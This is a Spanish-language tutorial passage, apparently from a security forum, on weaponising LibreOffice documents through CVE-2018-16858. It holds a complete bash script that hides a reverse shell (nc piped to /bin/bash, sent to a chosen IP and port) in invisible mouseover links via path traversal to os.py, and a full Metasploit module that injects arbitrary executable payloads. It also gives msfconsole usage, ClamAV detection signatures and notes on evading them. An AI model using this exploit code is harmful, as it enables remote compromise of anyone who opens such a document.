La forma más sencilla de definir un estilo y saber cómo se códifica en el formato de LibreOffice probablemente séa crear un estilo nuevo, definirlo como se desee para después guardarlo y desempaquetar el documento para mirarlo en el archivo styles.xml. En este caso como se puede ver leyendo un poco los atributos del tag, lo único que se ha definido en el estilo es que no esté subrallado y sin ningún color especial.

Como a priori no se sabe como va a estar conformado el fichero y donde se debe posicionar el estilo dentro del fichero de estilos se va a proceder de nuevo a una simplificación algo burda también pero eficaz. Se buscarán un tags de fin de estilo </style:style> y se añadirá al final la definición de estilo propuesta. No se sabrá en que posición del archivo quedará exactamente el tag, pero permitirá no tener que definir reglas mas complejas para dejar el estilo de los hipervínculos sin subrayados de forma que quien abra el archivo no sea capaz a priori de detectar el error.

Al igual que en el caso anterior se procederá a dichos cambios mediante el comando sed que quedará de la siguiente forma:

1
cat styles.xml.NEW | sed s/"Internet link"/"Internet link2"/ | sed s/"Internet_20_link"/"Internet_20_link2"/ | sed s/"&lt;\/style:style>"/'&lt;\/style:style>&lt;style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text">&lt;style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"\/>&lt;\/style:style>'/ > styles.xml;

El caso es análogo al anterior, y se hace lo descrito en las anteriores líneas. Se saca por pantalla el contenido del archivo styles.xml.new y en el primer sed se está cambiando el nombre del estilo de los hipervínculos añadiéndole un 2 al final. En el segundo sed se añade el estilo definido a mano y tras el cambio se vuelca todo en el archivo styles.xml que será el archivo que se conserve borrando el archivo styles.xml.NEW mediante el comando rm.

El último paso será empaquetar todo en un nuevo archivo zip mediante el comando linux zip. De nuevo se puede verificar que el comando ha tenido éxito o no mediante la variable de bash $? que devolverá 0 en caso de ejecución exitosa.

El código de esta última parte final será el siguiente:

1
2
3
4
5
6
7
8
9
10
11
        zip -r exploit.odt mimetype .;

        if [ $? == 0 ]; then

            echo "exploit.odt created!!!"

        else

            echo "An error has occurr!!!"

        fi;

El código final del script completo tendrá una forma parecida a la siguiente:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
if [ -e $1 ]; then

    I=0;

    for fichero in `ls -a`; do

        I=$(($I+1));

    done;

    if [ $I -gt 2 ]; then

        echo "At least one file exists on the directory. Exiting.";

    else

        if [ "" == "$3" ]; then

            echo "I need an IP and a port to connect to.";

        else

            unzip $1;

            if [ $? != 0 ]; then

                echo "some error has occurr!!!Exiting!!";
                exit;

            fi;

            PAYLOAD=`echo "mkfifo /tmp/lalala; nc $2 $3 &lt; /tmp/lalala | /bin/bash > /tmp/lalala;" | base64 | awk '{printf $0}'`;

            mv content.xml content.xml.NEW;
            cat content.xml.NEW | sed s/"&lt;text:p [^>]*[^\/]>"/"&amp;"'&lt;text:a xlink:type="simple" xlink:href="http:\/\/lalala\/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link">&lt;office:event-listeners>&lt;script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/usr\/lib\/python3.5\/os.py$system(echo '$PAYLOAD' > \/tmp\/payload.64; base64 \/tmp\/payload.64 -d > \/tmp\/payload; chmod 777 \/tmp\/payload; \/tmp\/payload;)?language=Python\&amp;location=share" xlink:type="simple"\/>&lt;\/office:event-listeners>'/g | sed s/"&lt;\/text:p>"/"&lt;\/text:a>&amp;"/g > content.xml;
            rm content.xml.NEW;

            mv styles.xml styles.xml.NEW;
            cat styles.xml.NEW | sed s/"Internet link"/"Internet link2"/ | sed s/"Internet_20_link"/"Internet_20_link2"/ | sed s/"&lt;\/style:style>"/'&lt;\/style:style>&lt;style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text">&lt;style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"\/>&lt;\/style:style>'/ > styles.xml;
            rm styles.xml.NEW;

            zip -r exploit.odt mimetype .;

            if [ $? == 0 ]; then

                echo "exploit.odt created!!!"

            else

                echo "An error has occurr!!!"

            fi;

        fi;

    fi;

else
    echo "The odt file does not exists!!";

fi;

Generación de módulo de Metasploit

En esta sección se realizará un módulo de metasploit que permitirá realizar lo mismo que hacíamos en el apartado anterior pero pudiendo por una parte integrarlo en la suite metasploit y por otro lado tener la capacidad de utilizar los payloads integrados en dicha suite. Se deberá tener en cuenta que este módulo generará un archivo de tipo .odt y que se deberá poner un handler para poder conectarse al host en el que se abra el documento office.

Los módulos de metasploit se suelen programar en lenguaje rubi, y se utilizan las librerias y clases de rubi y propias de metasploit para facilitar la integración con l resto de partes de la suite.

El módulo que se deséa generar se basará en la explotación de un exploit cuya explotación implicará el uso de un payload que es lo que se desea ejecutar. Por lo que nuestro módulo va a heredar de la clase de metasploit Msf::Exploit. Entre las particularidades de esta clase está que se pueda definir un payload que ejecutar cuando se utiliza el módulo.

Se va a trabajar con ficheros que se van a abrir y cerrar así como con ficheros zip, por lo que se utilizarán también las librerias fileutils y zip para poder desempaquetar el archivo .odt así como cambiar el contenido de los archivos content.xml y styles.xml.

La cabecera del módulo empezará entonces con las siguientes líneas:

1
2
3
4
require 'fileutils'
require 'zip'

class MetasploitModule &lt; Msf::Exploit

Ahora se empezará a definir la clase que estamos componiendo en la que, en un principio deberemos definir los distintos atributos del módulo. Se introduirán todos en la función de inicialización que realizará simplemente una llamada a la clase superior super para inicializar los atributos de la clase Exploit. En esta parte no hay que programar ninguna lógica de programa, sólo hay que definir variables y valores.

De cara a la definición de los atributos, los atributos a definir serán los siguientes:

Nombre para definir el nombre del módulo (Name). Descipción que permite dar una descripción que se mostrará a la hora de mirar la ayuda del módulo (Description). Licencia para definir la licencia específica que se le deséa dar al módulo generado (License). Autor para definir quien o quienes han realizado un módulo determinado (Author). Referencias en las que se debería de citar el CVE o referencia del error que se aprovecha en el módulo que se está implementado (References). Plataforma que permite definir en que sistema o sistemas operativos va a poderse utilizar el módulo (Platform). Arquitectura que definirá en que tipo de cpu se puede ejecutar el módulo (Arch). Payload en el que se podrán definir características del payload que se puede utilizar dentro del exploit (‘Payload’). En este atributo cobrará especial relevancia el tamaño (‘size’) muy relacionado normalmente con el tamaño del buffer que ejecuta el código y si se debe hacer o no alguna transformación en los bytes del payload de cará a su ejecución (DisableNops). Objetivos, que tiene relación con los payloads que se pueden ejecutar mediante el exploit que se está definiendo (Target). Es importante definir bien este atributo para que el usuario del módulo no pueda introducir payloads erroneos a la hora de ejecutar el módulo. Por último opciones a registrar permite la introducción de nuevas variables a utilizar a la hora de ejecutar el exploit (register_options). Se definiran nuevos elementos que pueden ser de distintos tipos, en el caso que nos ocupa se definirá una variable de tipo ruta en el que se definirá la ruta al archivo .odt que se deséa troyanizar y un atributo de tipo string en el que se define el nombre nuevo que tendra el archivo .odt en el que se guardará el archivo troyanizado. De modo que el archivo original no se cambiará, si no que se generará uno nuevo troyanizado. Para definir un atributo de tipo ruta se llamara al constructor de la clase optPath y para el de tipo string se utilizará la clase optString.

La inicialización de dichos atributos consta simplemente en dar valores, en el módulo quedará de la siguiente forma:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
def initialize(info = {})
    super(update_info(info,
    'Name'          => 'OpenOffice Backdoor Generator',
    'Description'   => '
    This module can execute a payload based on CVE-2018-16858 when somebody opens the infected document and the mouse
    goes over any line of text inside the document. The module will need an OpenDocument as input in order to make modiffications
    to be able to execute the script.
    ',
    'License'       => MSF_LICENSE,
    'Author'        =>
    [
    'Animanegra',
    ],
    References'    =>
    [
    ['CVE', '2018-16858'],
    ['URL', 'https://www.libreoffice.org/about-us/security/advisories/cve-2018-16858/']
    ],
    'Platform'      => 'linux',
    'Arch' =>   ARCH_X86,
    'Payload'   => { 'DisableNops' => true , 'size' => 1024},
    'Targets'   =>
    [
        [ 'linux' ,
        {
            'Platform' => 'linux'
   
        }]
    ])
    )
    register_options(
        [
            OptString.new('OUTPUT', [true, 'Path and filename to make a new infected .odt file.']),
            OptPath.new('INPUT', [true, 'Path and filename to existing .odt to inject the payload selected.'])
        ]
    )
end

Con lo definido en la inicialización ya se está a disposición de generar la parte lógica del exploit en la que se realizarán las mismas acciones que se definian en el exploit realizado en bash pero esta vez en el lenguaje ruby utilizado por metasploit. Se hará exactamente lo mismo pero utilizando las funcionalidades propias del lenguaje ruby.

La funcion a definir, que es la que llama metasploit a la hora de escribir exploit o run en el msfconsole se debe llamar exploit, dentro de dicha función se definirá el programa en si que realiza las acciones pertinentes en base a los atributos definidos en la incialización del objeto que se ha creado.

Lo primero que se hará será verificar que los nombres de archivos que se han definido por el usuario terminan en .odt. Eso se puede hacer comprobando el contenido de las variables datastore[‘INPUT’] y datastore[‘OUTPUT’]. Se puede utilizar el método to_s que lo pasará a string y end_with que permite definir si la string termina o no en un valor determinado. Por ejemplo la siguiente llamada:

1
datastore['INPUT'].to_s.end_with?('.odt')

Devuelve verdadero si el path del input termina en .odt o falso en caso contrario. Por lo que la comprobación quedará de la siguiente forma:

1
if datastore['INPUT'].to_s.end_with?('.odt') &amp;&amp; datastore['OUTPUT'].to_s.end_with?('.odt')

Una vez comprobado esto, se empezará a descomprimir el archivo para cambiar el contenido de content.xml y styles.xml de la misma forma que se ha realizado en la sección anterior. Se realizará mediante la clase Zip que permite abrir y leer los archivos zip en memoria sin necesidad de volcar el contenido directamente a un archivo de salida. Se hace mediante una llamada a Zip::File.open con lo que llamando a dicho método nos devolverá un objeto que después contendrá un atributo de tipo iterador. Con dicho atributo se podrá leer cada fichero que se descomprime en memoria. La llamada que realizaremos conectada con el datastore generado que es donde está la ruta hacia el archivo .zip y que con cuyo iterador se irá guardando cada fichero descomprimido en la variable entry será la siguiente:

1
2
    Zip::File.open(datastore['INPUT']) do |zipfile|
        zipfile.each do |entry|

El fichero zip se abre en un objeto llamado zipfile y de este se toma el iterador mediante each que se guarda en la variable entry. Dicha variable es donde se puede acceder diréctamente a los archivos ya descomprimidos y sus atributos. Con entry.name se podrá acceder al nombre del archivo original, como se deséa cambiar el archivo con nombre styles.xml y contents.xml mediante una simple comparación se podrá leer el archivo para realizar los cambios. El resto de archivos se dejarán con el contenido sin cambiar. La variable entry dispondrá tambien de un método llamado get_input_stream de manera que se podrán manejar los archivos del zip de manera similar a si fuese cualquier archivo del disco duro. La clase inputStream tiene un metodo llamado read que directamente vuelca todo el contenido del archivo en una variable. Por último la variable entry tambien dispone del método is_directory que permite saber si el fichero contenido en el zip es un archivo o un directorio, de manera que si es un directorio se podrá obviar y no leer con el método read ya que es un elemento de la estructura del propio zip que no tiene contenido per se. Con todos estos métodos ya se está en disposición de poder generar la estructura general del algoritmo, que diferenciará si el archivo es uno de los archivos a cambiar, se trata de un archivo que no se debe cambiar o símplemente de un directorio. La estructura general de dicha parte será la siguiente:

1
2
3
4
5
6
7
8
9
10
11
12
            if entry.name == "content.xml"

            elsif entry.name == "styles.xml"

            else

                if !entry.name_is_directory?


                end

            end

Si el archivo a leer se llama content.xml se debe insertar el payload elegido por el usuario, si se llama styles.xml se deberá cambiar el estilo de los hipervínculos y por último si no es ninguno de dichos archivos, en caso de que no sea un directorio simplemente se deberá introducir el archivo sin ningún tipo de cambio.

El procesado ideal sería ir insertando los archivos en el nuevo documento conforme se van leyendo por lo que al igual que se ha abierto mediante la clase Zip el archivo en modo lectura, se abrira otro archivo en modo escritura en el que se irán incluyendo los ficheros en el archivo comprimido al vuelo.

De modo similar se realiza una llamada al método File.open de la clase Zip y se utiliza la variable devuelta para insertar en el archivo a abrir los diferentes archivos que se deséan en el comprimido de salida. El primer parámetro del método es el nombre del fichero que se obtiene del nombre que el usuario ha decidio poner mediante la interfaz de msfconsole. Se accede a dicho nombre mediante la variable datastore[‘OUTPUT’]. Como segundo parámetro se especificará que se desea crear un nuevo archivo zip mediante la constante Zip::File::CREATE. De manera similar al modo en que se abría la lectura aquí la linéa de programa que se insertará será la siguiente:

1
Zip::File.open(datastore['OUTPUT'],Zip::File::CREATE) do |outzip|

Como se ha dicho, será la variable outzip la que se utilizará para insertar nuevos datos en el zip. Así como para leer un fichero del zip se podía utilizar el método get_input_stream en el caso de escribir en él se utilizara el análogo get_output_stream y se utilizará el método write para introducir contenidos en el fichero. El dato de entrada para el método get_output_stream es el nombre del fichero. Por lo que pudiendo acceder al nombre del archivo leido mediante entry.namey al contenido del archivo leido mediante entry.get_input_stream.read para leer del archivo zip el fichero y volcarlo en el archivo zip de salida de forma directa se puede hacer lo siguiente:

1
2
data = entry.get_input_stream.read
        outzip.get_output_stream(entry.name) { |f| f.write data}

Como se puede ver en data estará el contenido completo del archivo por lo que en caso de que el nombre del fichero de entrada sea styles.xml o contents.xml se deberá cambiar dicho contenido antes de volcarlo, en el resto de casos no hará falta cambiar nada.

Al igual que pasaba con el comando sed de la consola de comandos, en rubi se dispone de la funcion gsub que funciona exactamente de la misma forma que dicho comando. En el caso del fichero de estilos, se podrá ejecutar la funcion sub de la siguiente forma:

1
data = data.gsub("Internet link","Internet link2").gsub("Internet_20_link","Internet_20_link2").gsub("&lt;/style:style>",'&lt;/style:style>&lt;style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text">&lt;style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/>&lt;/style:style>')

Como se puede ver, nada especiálmente remarcable en dicha función. Se está haciendo exactamente lo mismo que en el caso del exploit en bash. Una vez realizado dicho cambio ya se puede volcar la variable data en el archivo de salida del zip.

El caso del contents.xml requiere de insertar el payload seleccionado por el usuario por lo que, se deberá cargar en una variable en formato base64 para después introducirlo en el lugar necesario dentro del archivo. El contenido del payload a ejecutar se puede acceder mediante la variable payload y como se necesita de un payload en formato ejecutable se llamará al método encoded_exe() que permite acceder a un payload en formato de ejecutable en lugar de acceder a las instrucciones sin la parte necesaría para la ejecución como comando independiente. Como se necesita un formato base64 se codificará el binario en base64 mediante la clase REX llamando al método Text.encode_base64 que espera como entrada los datos a codificar. Las instrucciones a insertar en el programa quedarán de la siguiente forma:

1
2
target_payload = payload.encoded_exe()
    b64_payload = Rex::Text.encode_base64(target_payload)

Con lo que en b64_payload se dispone del payload ejecutable en base64. Por último se utilizarán cambios análogos a los realizados en el comando sed, en el que se insertará la palabra PAYLOAD en lugar del código base64 que aplicabamos en la anterior sección. A lo obtenido tras todos los cambios, se añadirá al final un nuevo gsub equivalente a un último cambio en el que se cambiará el literal PAYLOAD por el contenido de la variable b64_payload. El código quedará de la siguiente forma:

1
data = data.gsub(/&lt;text:p [^>]*[^\/]>/,'\&amp;'+"&lt;text:a xlink:type="simple" xlink:href="http://lalala/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link">&lt;office:event-listeners>&lt;script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo PAYLOAD > /tmp/payload.64; base64 /tmp/payload.64 -d > /tmp/payload; chmod 777 /tmp/payload; /tmp/payload; rm /tmp/payload.64; rm /tmp/payload;)?language=Python&amp;location=share" xlink:type="simple"/>&lt;/office:event-listeners>").gsub("&lt;/text:p>","&lt;/text:a>&lt;/text:p>").gsub("PAYLOAD",b64_payload)

Con esto ya se habría solucionado todo el funcionamiento deseado para el módulo, el código completo del módulo sera el siguiente:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
require 'fileutils'
require 'zip'

class MetasploitModule &lt; Msf::Exploit

    def initialize(info = {})
        super(update_info(info,
        'Name'          => 'OpenOffice Backdoor Generator',
        'Description'   => '
            This module can execute a payload based on CVE-2018-16858 when somebody opens the infected document and the mouse
            goes over any line of text inside the document. The module will need an OpenDocument as input in order to make modiffications
            to be able to execute the script.
        ',
        'License'       => MSF_LICENSE,
        'Author'        =>
            [
                'Animanegra',
            ],
        References'    =>
            [
            ['CVE', '2018-16858'],
            ['URL', 'https://www.libreoffice.org/about-us/security/advisories/cve-2018-16858/']
            ],
        'Platform'      => 'linux',
        'Arch' =>   ARCH_X86,
        'Payload'   => { 'DisableNops' => true , 'size' => 1024},
        'Targets'   =>
            [
                [ 'linux' ,
                    {
                        'Platform' => 'linux'
   
                    }]
            ])
        )
        register_options(
            [
                OptString.new('OUTPUT', [true, 'Path and filename to make a new infected .odt file.']),
                OptPath.new('INPUT', [true, 'Path and filename to existing .odt to inject the payload selected.'])
            ]
        )

    end

    def exploit

        if datastore['INPUT'].to_s.end_with?('.odt') &amp;&amp; datastore['OUTPUT'].to_s.end_with?('.odt')

            print "Ok we have the input and output file. Lets rock!!!\n\n"

            Zip::File.open(datastore['OUTPUT'],Zip::File::CREATE) do |outzip|

                Zip::File.open(datastore['INPUT']) do |zipfile|

                    zipfile.each do |entry|

                        if entry.name == "content.xml"

                            print "Changing content to insert command execution!!!\n"

                            target_payload = payload.encoded_exe()

                            b64_payload = Rex::Text.encode_base64(target_payload)

                            data = entry.get_input_stream.read

                            data = data.gsub(/&lt;text:p [^>]*[^\/]>/,'\&amp;'+"&lt;text:a xlink:type="simple" xlink:href="http://lalala/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link">&lt;office:event-listeners>&lt;script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo PAYLOAD > /tmp/payload.64; base64 /tmp/payload.64 -d > /tmp/payload; chmod 777 /tmp/payload; /tmp/payload; rm /tmp/payload.64; rm /tmp/payload;)?language=Python&amp;location=share" xlink:type="simple"/>&lt;/office:event-listeners>").gsub("&lt;/text:p>","&lt;/text:a>&lt;/text:p>").gsub("PAYLOAD",b64_payload)

                            outzip.get_output_stream(entry.name) { |f| f.write data}

                        elsif entry.name == "styles.xml"

                            print "Changing style to make the user not to view the hyperlink.\n\n"

                            data = entry.get_input_stream.read

                            data = data.gsub("Internet link","Internet link2").gsub("Internet_20_link","Internet_20_link2").gsub("&lt;/style:style>",'&lt;/style:style>&lt;style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text">&lt;style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/>&lt;/style:style>')

                            outzip.get_output_stream(entry.name) { |f| f.write data}

                        else

                            if !entry.name_is_directory?

                                data = entry.get_input_stream.read

                                outzip.get_output_stream(entry.name) { |f| f.write data}

                            end

                        end

                    end

                end

            end

        else

            print_error 'INPUT and OUTPUT must be both .odt file extension'

        end

    end

end

Una vez generado el programa se salvará en un archivo llamado libreoffice.rb y se copiará a la ruta /modules/exploits/linux/misc. La siguiente vez que se ejecute msfconsole se cargará este nuevo módulo. se podrá utilizar como el resto de módulos ejecutando:

1
2
msf5 > use exploit/linux/misc/libreoffice
msf5 exploit(linux/misc/libreoffice) >

Donde se podrá mirar las opciones:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
msf5 exploit(linux/misc/libreoffice) > show options

Module options (exploit/linux/misc/libreoffice):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   INPUT                    yes       Path and filename to existing .odt to inject the payload selected.
   OUTPUT                   yes       Path and filename to make a new infected .odt file.


Exploit target:

   Id  Name
   --  ----
   0   linux

Y se podrá elegir un fichero de entrada definiendo un valor para INPUT un valor para OUTPUT y seteando un payload compatible mediante la orden set payload.

Tras generar el archivo odt de salida se utilizara el manejador genérico use exploit/multi/handler con un payload compatible con el elegido al generar el archivo .odt

Generación de firma para detección mediante anti virus

Como último paso se procederá a generar una serie de firmas de antivirus que permitan detectar el backdoor generado para poder evitar dicha amenaza. Dado que la mayoría de antivirus son de codigo cerrado se utilizará el software antivirus ClamAV que es de codigo abierto y puede ser ejecutado en todas las plataformas.

La primera firma a realizar será una firma de tipo estática, son el tipo de firmas mas fáciles de realizar pero también las más fáciles de bypasear o rodear. Este tipo de firmas constarán mayormente de un hash estático y un tamaño de archivo. El formato exigido por el antivirus ClamAV es que en un archivo con extension .hdb tengamos líneas que empezarán por el hash (md5 o sha1) seguido por el tamaño en bytes y el nombre del virus que se desee. Cada línea contendrá solo una definición de virus y cada campo estará separado por el símbolo :.

Si tenemos el archivo exploit.odt del que se desea realizar la firma se podrá optar por calcular el hash md5 o sha1 que se puede hacer fácilmente mediante el comando md5sum y sha1sum de Linux. Los comandos se ejecutarán simplemente con el nombre del comando seguido del archivo a calcular, de modo similar al siguiente:

1
2
3
4
[email protected]:~/myprojects/security/metasploit/exploitlibreoffice/scripts/lalala$ md5sum exploit.odt
9158e2fc2f87b5ee050a279a38f6bfac  exploit.odt
[email protected]:~/$ sha1sum exploit.odt
a39979533831fbb9eac4ba6c13469b4d421fc1c7  exploit.odt

Para el cálculo del tamaño del archivo lo más sencillo es hacerlo mediante el comando ls pasándole al comando la ruta al fichero de forma similar a la siguiente:

1
2
[email protected]:~/$ ls -al exploit.odt
-rw-r--r-- 1 user user 726509 Apr 09 19:17 exploit.odt

De forma que se puede optar por generar un fichero con extensión .hdb con el hash md5 o el sha1 y el tamaño obtenidos quedando así:

1
2
9158e2fc2f87b5ee050a279a38f6bfac:726509:Trojan.LibreOfficeMalware.A
a39979533831fbb9eac4ba6c13469b4d421fc1c7:726509:Trojan.LibreOfficeMalware.B

A la hora de ejecutar el ClamAV se deberá especificar que se va a utilizar el archivo de firmas que se está generando. Por lo que para verificar los virus utilizando la base de datos llamada LibreOfficeSign.hdb se ejecutará de la siguiente forma:

1
2
3
4
5
6
7
8
9
10
11
12
[email protected]:~/$ clamscan -d LibreOfficeSign.hdb exploit.odt
exploit.odt: Trojan.LibreOfficeMalware.A.UNOFFICIAL FOUND

----------- SCAN SUMMARY -----------
Known viruses: 2
Engine version: 0.100.2
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 1.46 MB
Data read: 0.69 MB (ratio 2.11:1)
Time: 0.035 sec (0 m 0 s)

Este tipo de firmas son muy susceptibles de que ante cualquier cambio en el malware el antivirus ya no lo pueda reconocer. El hash utilizado para la firma, ya séa md5 o sha1, ante cualquier cambio en cualquier bit del archivo hará que no lo detecte como virus. Si se hace simplemente un unzip del .odt generado y se cambia cualquier letra del texto del documento, por ejemplo una a por una A ya sería suficiente para hacer un bypass del antivirus.

Se procederá a realizar una firma algo más inteligente aprovechándonos del sistema de firmas dinámicas de ClamAV, este tipo de firmas se deben de alojar en un archivo con extension .ndb en lugar de .hdb. El formato de las firmas dentro del archivo, si bien son parecidas a las anteriormente mencionadas en lugar de utilizar hashes del archivo completo utilizarán identificadores de dentro del archivo. Se realizarán ciertas comparaciones de ciertas cadenas de un archivo para que en caso de que las tenga, se detectará como malware.

El formato se iniciará con el nombre de la amenaza, seguido del tipo de archivo que debe contener el malware. El número 0 se corresponde con que el malware puede estar en cualquier tipo de archivo. Se tiene el 1 para definir que el malware afecta solo a un ejecutable exe de 32 o 64 bits, el 6 para definir que solo se aloja en los archivos ejecutables de tipo ELF de unix o el 7 para definir que son archivos de tipo ASCII. El siguiente campo especifica el número de byte por el que empezar la comparción de los bytes de la cadena que se deséa identificar dentro del archivo. Se puede utilizar el wilcard * para definir que la cadena puede tener su inicio en cualquier parte del archivo. A partir de ahí se especifica la cadena de bytes que permite identificar el malware. La definición de la búsqueda se compondrá de los códigos en hexadecimal unos seguidos de otros.

Una de las formas de obtener los códigos en exadecimal de un archivo determinado es utilizar la herramienta sigtool de manera que por la entrada estándar se le dará la entrada en bytes y nos devolverá la representación hexadecimal de forma directa para poder utilizarla en la firma. Otra herramienta parecida puede ser hexdump pero la salida que devuelve requerirá de cierta modificación. En virtud de la simplicidad se realizará la firma mediante la herramienta sigtool.

La parte del archivo que buscaremos en la segunda firma que se pretende realizar será algo muy simple, la ruta que se ha puesto utilizando el directory transversal hasta la parte de la ejecución del archivo os.py de manera que aunque se cambie algo en el propio archivo de office, para poder ejecutar el código del backdoor se necesita al menos dicha ruta en el archivo. Primeramente se obtienen los carácteres en hexadecimal mediante el siguiente comando:

1
2
[email protected]:~/$ echo -n "../../../../../../../../../../../usr/lib/python3.5/os.py" | sigtool --hex-dump
2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c69622f707974686f6e332e352f6f732e7079

Es importante incorporar en el comando echo el parámetro -n para que no se imprima un salto de línea al final. Y el resultado del comando sigtool será la búsqueda que se aplicará como firma que el antivirus pueda detectar el .odttroyanizado.

No se puede definir ni un offset concreto para el inicio de la búsqueda ya que dependerá de la estructura de cada documento .odt por lo que en el campo de offset se pondrá un *. Como tipo de archivo se definirá un 1 para que la búsqueda por parte del antivirus se realice en cualquier tipo de archivo. Se definirá un nombre y la firma final podría quedar similar a la siguiente:

1
Trojan.LibreOfficeMalware.C:0:*:2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c69622f707974686f6e332e352f6f732e7079

La firma será almacenada en el archivo LibreOfficeSign.ndb, lo relevante del nombre del archivo es la extensión. De nuevo se podría ejecutar el clamav para ver si la firma generada permite detectar el troyano. El resultado será parecido al siguiente:

1
2
3
4
5
6
7
8
9
10
11
12
[email protected]:~/$ clamscan -d LibreOfficeSign.ndb exploit.odt
exploit.odt: Trojan.LibreOfficeMalware.C.UNOFFICIAL FOUND

----------- SCAN SUMMARY -----------
Known viruses: 1
Engine version: 0.100.2
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.02 MB
Data read: 0.69 MB (ratio 0.03:1)
Time: 0.010 sec (0 m 0 s)

Si bien la forma de bypasear la detección del antivirus utilzando esta firma es mas complicado, no basta con cambiar cualquier parte del texto del documento office. Se puede seguir bypaseando de manera relativamente evidente el escaneo del antivirus ya que para la definición de la firma se ha utilizado un número específico de ../. En la generación del exploit el número de escalados hacia abajo se debe poner como un número relativamente alto para permitir que desde cualquier ruta dentro del linux se llegue al directorio raiz. De modo que simplemente suprimiendo en la ruta uno de los ../ permitirá que el exploit siga funcionancionando y ejecutando la puerta trasera generada. Por lo que se utilizará la definición un poco más avanzada de firmas que permita la detección de malware utilizando expresiones regulares y no utilizar firmas demasiado fijas que hagan que con modificaciones muy simples no se detecte el malware.

Se va a proceder a utilizar una firma simple que permita detectar el malware en cuanto se detecte un intento de directory transversal. Además simplemente con fines educativos se utilizará el wilcard * que permite definir un número consecutivo indeterminado de cualquier caracter. Existen otros wildcards parecidos como ?? que permite detectar cualquier caracter pero que aparezca sólamente una vez. También se puede utilizar el wilcard {n} para detectar un número n de bytes y {-n} y {n-}para definir un número de n o menos bytes o n o mayor de bytes respectivamente.

Se utilizará la sección de bytes que precedería al directory transversal y definido por los datos pythonSamples| que se necesitarán obtener en formato hexadecimal:

1
2
[email protected]:~/$ echo -n "pythonSamples|" | sigtool --hex-dump
707974686f6e53616d706c65737c

Se obtendrá también el codigo hexadecimal de ../ del mismo modo:

1
2
[email protected]:~/$ echo -n "../" | sigtool --hex-dump
2e2e2f

De modo que la firma que se añadirá al fichero será la concatenación de ambas secuencias de carácteres hexadecimales mediante un , es decir 707974686f6e53616d706c65737c2e2e2f. Con lo que la firma completa que quedará en el fichero LibreOfficeSign.ndb será la siguiente:

1
Trojan.LibreOfficeMalware.D:0:*:707974686f6e53616d706c65737c*2e2e2f

Al realizar la comprobación quitando uno de los ../ de cada hipervínculo del fichero contents.xml, volver a componer el fichero .odt y verificarlo con el antivirus el resultado será el siguiente:

1
2
3
4
5
6
7
8
9
10
11
12
[email protected]:~/$ clamscan -d LibreOfficeSign.ndb exploit.odt
exploit.odt: Trojan.LibreOfficeMalware.D.UNOFFICIAL FOUND

----------- SCAN SUMMARY -----------
Known viruses: 2
Engine version: 0.100.2
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.02 MB
Data read: 0.69 MB (ratio 0.03:1)
Time: 0.009 sec (0 m 0 s)

Underc0de agradece este aporte a @animanegra

Posts Relacionados

Comments

comments

Deja una respuesta

Tu email no será publicado. Los campos requeridos estan marcados con *
Puedes usar tags HTML y los atributos: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>